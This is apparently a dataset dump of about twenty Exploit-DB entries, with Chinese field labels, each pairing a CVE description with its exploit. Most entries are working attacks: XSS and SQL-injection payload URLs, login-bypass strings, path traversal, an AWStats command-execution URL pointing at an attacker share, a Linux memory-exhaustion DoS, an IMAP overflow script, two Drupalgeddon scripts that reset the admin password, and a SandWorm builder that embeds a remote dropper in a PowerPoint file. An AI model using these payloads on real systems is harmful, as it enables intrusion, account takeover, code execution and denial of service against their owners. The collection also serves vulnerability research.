QLWD/code_shield huggingface dataset:
标题: AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution EDB-ID: 35035 CVE: 2010-4367 类型: WEBAPPS 平台: CGI 发布日期: 2010-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/45123/info

Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.

An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.

AWStats 6.95 and prior versions are vulnerable. 

Attacking Windows XP Apache Tomcat AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav

Attacking Windows 2003 or Windows XP AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share URL: https://www.exploit-db.com/exploits/35035
标题: BugTracker.NET 3.4.4 - SQL Injection / Cross-Site Scripting EDB-ID: 35031 CVE: 2010-3266 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/45121/info

BugTracker.NET is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

BugTracker.NET v3.4.4 is vulnerable; other versions may be affected. 

http://www.example.com/edit_comment.aspx?id=48&bug_id=3%3E%3Cscript%3Ealert%28%27%27%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35031
标题: Easy Banner 2009.05.18 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35017 CVE: 2010-4783 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/45066/info
 
Easy Banner Free is prone to multiple SQL-injection and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
 
The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Easy Banner Free 2009.05.18 is vulnerable; other versions may also be affected. 

&#039;siteurl&#039; : http://"><script>alert(XSS)</script><aa aa="

&#039;urlbanner&#039; : "><script>alert(XSS)</script><aa aa=".gif URL: https://www.exploit-db.com/exploits/35017
标题: Easy Banner 2009.05.18 - '/member.php' Multiple SQL Injection / Authentication Bypass EDB-ID: 35016 CVE: 2010-4784 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/45066/info

Easy Banner Free is prone to multiple SQL-injection and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Easy Banner Free 2009.05.18 is vulnerable; other versions may also be affected. 

username: &#039; or 1#

password: &#039; or &#039;a&#039;=&#039;a URL: https://www.exploit-db.com/exploits/35016
标题: Apache Tomcat 7.0.4 - 'sort' / 'orderBy' Cross-Site Scripting EDB-ID: 35011 CVE: 2010-4172 类型: REMOTE 平台: LINUX 发布日期: 2010-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/45015/info

Apache Tomcat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http:/www.example.com/html/sessions?path=/&sort=[xss] URL: https://www.exploit-db.com/exploits/35011
标题: Linux Kernel 2.6.x - 'inotify_init()' Memory Leak Local Denial of Service EDB-ID: 35013 CVE: 2010-4250 类型: DOS 平台: LINUX 发布日期: 2010-11-24 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/45036/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. 
*/


#include <sys/inotify.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int fds[2];

        /* Circumvent max inotify instances limit */
        while (pipe(fds) != -1)
                ;

        while (1)
                inotify_init();

        return 0;
} URL: https://www.exploit-db.com/exploits/35013
标题: WebKit - Insufficient Entropy Random Number Generator (2) EDB-ID: 35006 CVE: 2010-3804 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/44952/info
 
WebKit is prone to a random-number-generator weakness.
 
Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.
 
Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.
 
NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.
 
<html>
<body>
<script>
document.write("userAgent: "+navigator.userAgent);
</script>
<br>
<br>
<div id="foo"></div>
<form>
<input type="button"
      value="Calculate Safari 5.0 (Windows) PRNG seed and mileage"
      onClick="calc_seed()">
</form>
<script>
function calc_seed()
{
      r1=Math.random()*Math.pow(2,32);
      r2=Math.random()*Math.pow(2,32);
      H=r1;
      L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16)))
            & 0xFFFFFFFF;
      // 10000 is just an arbitrary limit to make sure the
      // algorithm doesn't run into an endless loop on
      // non-vulnerable browsers
      for (k=0;k<10000;k++)
      {
            L=(L-H) & 0xFFFFFFFF;
            H=(H-L) & 0xFFFFFFFF;
            H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16);
            if ((H^L)==0x49616E42)
            {
                  document.getElementById("foo").innerText=
                        "PRNG Seed: "+H+" "+
                        "(First page rendered: "+
                              (new Date(H*1000)).toString()+")\n"+
                        "PRNG mileage: "+k;
                  return;
            }
      }
      document.getElementById("foo").innerText=
            "Could not find seed\n"+
            "Are you sure it's Safari 5.0 for Windows?";
      return;
}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/35006
标题: Microsoft Windows - OLE Package Manager SandWorm EDB-ID: 35019 CVE: 2014-6352 2014-4114 类型: LOCAL 平台: WINDOWS 发布日期: 2014-10-20 漏洞利用脚本: #!/usr/bin/env python
import os
import zipfile
import sys

'''
Full Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35019.tar.gz

Very quick and ugly [SandWorm CVE-2014-4114] exploit builder
Exploit Title: CVE-2014-4114 SandWorm builder
Built to run on: Linux/MacOSX
Date: 17/10/2014
Exploit Author: Vlad Ovtchinikov (@v1ad_o)
Vendor Homepage: microsoft.com
Tested on: Win7Sp1 64 bit  - Microsoft Offcie 2013 Plus
Demo: http://youtu.be/ljjEkhflpvM
CVE : CVE-2014-4114
NOTE:
expl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)
should be located in the same  dir as the builder.
01:39 cve-2014-4114.py
19:35 expl.inf
15:37 expl.zip

e.g.  python cve-2014-4114.py 10.0.0.233 rdb xxx.exe
10.0.0.233 - ip
rdb - share
xxx.exe - dropper
'''
host=sys.argv[1]
share=sys.argv[2]
mal_file=sys.argv[3]

print "\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\n"
print "Building ... \n "

# extract the original .ppsx PoC
mal_file= mal_file.replace(' ', '')[:-4].lower()
fh = open('expl.zip', 'rb')
z = zipfile.ZipFile(fh)
for name in z.namelist():
    outpath = "./tmp"
    z.extract(name, outpath)
fh.close()

os.mkdir('out')
os.chdir('tmp')

# oleObject1.bin mod for GIF
infile = open('ppt/embeddings/oleObject1.bin')
outfile = open('ppt/embeddings/1.bin','w')
replacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}
for line in infile:
    for src, target in replacements.iteritems():
        line = line.replace(src, target)
    outfile.write(line)
infile.close()
outfile.close()
os.remove ('ppt/embeddings/oleObject1.bin')
os.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')

# oleObject2.bin mod for INF
infile = open('ppt/embeddings/oleObject2.bin')
outfile = open('ppt/embeddings/2.bin','w')
replacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}
for line in infile:
    for src, target in replacements.iteritems():
        line = line.replace(src, target)
    outfile.write(line)
infile.close()
outfile.close()

os.remove ('ppt/embeddings/oleObject2.bin')
os.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')
os.system("zip -q  -9 -r  ../out/exploit.ppsx * ")
os.chdir('..')

# oleObject2.bin mod for INF prep
infile = open('expl.inf')
outfile = open('out/'+mal_file+'.inf','w')
replacements = {'slide1':mal_file}
for line in infile:
    for src, target in replacements.iteritems():
        line = line.replace(src, target)
    outfile.write(line)
infile.close()
outfile.close()
os.system("rm -rf tmp")

print 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\n'
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.gif\n'
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.inf\n'
print 'Done - collect your files from the [out] folder.\n' URL: https://www.exploit-db.com/exploits/35019
标题: Eclipse 3.6.1 - Help Server 'help/advanced/content.jsp' Cross-Site Scripting EDB-ID: 34999 CVE: 2010-4647 类型: REMOTE 平台: LINUX 发布日期: 2010-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/44883/info
 
Eclipse IDE Help component is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://localhost:[REPLACE]/help/advanced/content.jsp?'onload='alert(0) URL: https://www.exploit-db.com/exploits/34999
标题: Eclipse 3.6.1 - Help Server 'help/index.jsp' Cross-Site Scripting EDB-ID: 34998 CVE: 2010-4647 类型: REMOTE 平台: LINUX 发布日期: 2010-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/44883/info

Eclipse IDE Help component is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://localhost:[REPLACE]/help/index.jsp?'onload='alert(0) URL: https://www.exploit-db.com/exploits/34998
标题: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) EDB-ID: 34993 CVE: 2014-3704 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-17 漏洞利用脚本: <?php
#-----------------------------------------------------------------------------#
# Exploit Title: Drupal core 7.x - SQL Injection                              #
# Date: Oct 16 2014                                                           #
# Exploit Author: Dustin Dörr                                                 #
# Software Link: http://www.drupal.com/                                       #
# Version: Drupal core 7.x versions prior to 7.32                             #
# CVE: CVE-2014-3704                                                          #
#-----------------------------------------------------------------------------#

$url = 'http://www.example.com';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}
?> URL: https://www.exploit-db.com/exploits/34993
标题: IBM OmniFind - 'command' Cross-Site Scripting EDB-ID: 35003 CVE: 2010-3893 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/44940/info

IBM OmniFind is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

IBM OmniFind versions 8.5 and 9.0 are affected; other versions may also be vulnerable.

NOTE: This issue was previously covered in BID 44740 (IBM OmniFind Multiple Vulnerabilities) but has been given its own record to better document it. 

http://www.example.com/ESAdmin/collection.do?command=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/35003
标题: PHPShop 2.1 EE - 'name_new' Cross-Site Scripting EDB-ID: 34988 CVE: 2010-4836 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/44763/info

PHPShop is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPShop 2.1 EE is vulnerable; other versions may also be affected. 

http://www.example.com/uploads/2010/PHPShop%20XSS.html URL: https://www.exploit-db.com/exploits/34988
标题: WeBid 0.85P1 - Multiple Input Validation Vulnerabilities EDB-ID: 34989 CVE: 2010-4873 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/44765/info

WeBid is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include a local file-include vulnerability and a cross-site-scripting vulnerability.

Exploiting these issues can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

WeBid 0.85P1 is vulnerable; other versions may be affected. 


http://www.example.com/webid/active_auctions.php?lan=../../../../../../../../windows/win.ini%00

http://www.example.com/webid/confirm.php?id=%22%3E%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/34989
标题: pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34985 CVE: 2010-4246 类型: REMOTE 平台: PHP 发布日期: 2010-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/44738/info

pfSense is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

pfSense 1.2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/graph.php?ifnum=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E&ifname=
http://www.example.com/graph.php?ifnum=&ifname=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/34985
标题: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) EDB-ID: 34984 CVE: 2014-3704 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-16 漏洞利用脚本: # Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
# Creditz to https://www.reddit.com/user/fyukyuk
# EDB Note ~ Updated version: https://github.com/kenorb/drupageddon/blob/master/drupal_7.x_sql_injection_sa-core-2014-005.py

import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password) URL: https://www.exploit-db.com/exploits/34984
标题: Novell Groupwise 8.0 - Multiple Remote Vulnerabilities EDB-ID: 34980 CVE: 2010-4715 类型: DOS 平台: NOVELL 发布日期: 2010-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/44732/info

Novell GroupWise is prone to multiple security vulnerabilities, including multiple remote code-execution vulnerabilities, an information-disclosure issue, and a cross-site scripting issue.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, obtain potentially sensitive information, or execute arbitrary code in the context of the user running the affected application. Information harvested may aid in further attacks; other attacks are also possible.

#!/usr/bin/python
#
# Francis Provencher for Protek Research Lab's.
#
#
 
 
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
buffer = '\x41' * 1368
 
s.connect(('192.168.100.178',143))
s.recv(1024)
s.send('A001 LOGIN test  test ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 LSUB aa ' + buffer + '\r\n')
s.recv(1024)
s.close() URL: https://www.exploit-db.com/exploits/34980
标题: WordPress Plugin Vodpod Video Gallery 3.1.5 - 'vodpod_gallery_thumbs.php' Cross-Site Scripting EDB-ID: 34976 CVE: 2010-4875 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/44715/info

The Vodpod Video Gallery Plugin for Wordpress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Vodpod Video Gallery 3.1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/vodpod-video-gallery/vodpod_gallery_thumbs.php?gid=%22%3E%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/34976
标题: PHP 5.3.x - 'mb_strcut()' Information Disclosure EDB-ID: 34979 CVE: 2010-4156 类型: REMOTE 平台: PHP 发布日期: 2010-11-07 漏洞利用脚本: # source: https://www.securityfocus.com/bid/44727/info
#
# PHP is prone to an information-disclosure vulnerability.
#
# Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
#

<?php
$b = "bbbbbbbbbbb";
str_repeat("THIS IS A SECRET MESSAGE, ISN'T IT?", 1);
$var3 = mb_strcut($b, 0, 1000);
echo $var3;
?> URL: https://www.exploit-db.com/exploits/34979
标题: YourMembers Plugin - Blind SQL Injection EDB-ID: 34968 CVE: 2014-100003 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-14 漏洞利用脚本: Vulnerability title: Blind SQL Injection Vulnerability in YourMembers plugin
CVE: N/A
Vendor: YourMembers plugin
Product: https://github.com/YourMembers/yourmembers/tree/master/ym_trunk
Affected version: Version 3, 29 June 2007 (https://github.com/YourMembers/yourmembers/blob/master/LICENSE)
Google dork: inurl:ym_download_id=
Fixed version: N/A
Reported by: Tien Tran Dinh - tien.d.tran@itas.vn


Details:

The Blind SQL injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URL and parameter has been confirmed to suffer from blind SQL injection:

GET /?ym_download_id=<SQL Injection> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wfvt_2871549622=5434f2560126f; wpfront-notification-bar-landingpage=1; bp-activity-oldestpage=1; __utma=9793911.1350365293.1412756050.1412756050.1412756050.1; __utmb=9793911.1.10.1412756050; __utmc=9793911; __utmz=9793911.1412756050.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); all_RyDwsSBXVzZXJzGOTe_u0CDA-clickdesk_referrer=http%3A//www.google.com.vn/url%3Fsa%3Dt%26rct%3Dj%26q%3D%26esrc%3Ds%26source%3Dweb%26cd%3D1%26ved%3D0CB0QFjAA%26url%3Dhttp%253A%252F%252Fsdj
Connection: keep-alive

Vulnerable file: ym_trunk/includes/ym-download_functions.include.php 
Vulnerable code: (Line: 313 -> 329)
  function ym_get_download($id=false) {
   global $wpdb, $ym_dl_db;

   $row = new stdClass();
   $row->id = $row->title = $row->filename = $row->postDate = $row->members = $row->user = false;

   if ($id) {
    $sql = 'SELECT id, title, filename, postDate, members, user
      FROM ' . $ym_dl_db . '
      WHERE id = ' . $id;
    $row = $wpdb->get_row($sql);
   }

   return $row;
  } 
  
Credits: Thanks to  Pham Kien Cuong (cuong.k.pham@itas.vn), Dang Quoc Thai (thai.d.dang@itas.vn), Le Ngoc Phi (phi.n.le@itas.vn) URL: https://www.exploit-db.com/exploits/34968
标题: Apache Shiro - Directory Traversal EDB-ID: 34952 CVE: 2010-3863 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/44616/info

Apache Shiro is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Apache Shiro 1.0.0 is vulnerable; other versions may be affected. 

GET /./account/index.jsp HTTP/1.1 URL: https://www.exploit-db.com/exploits/34952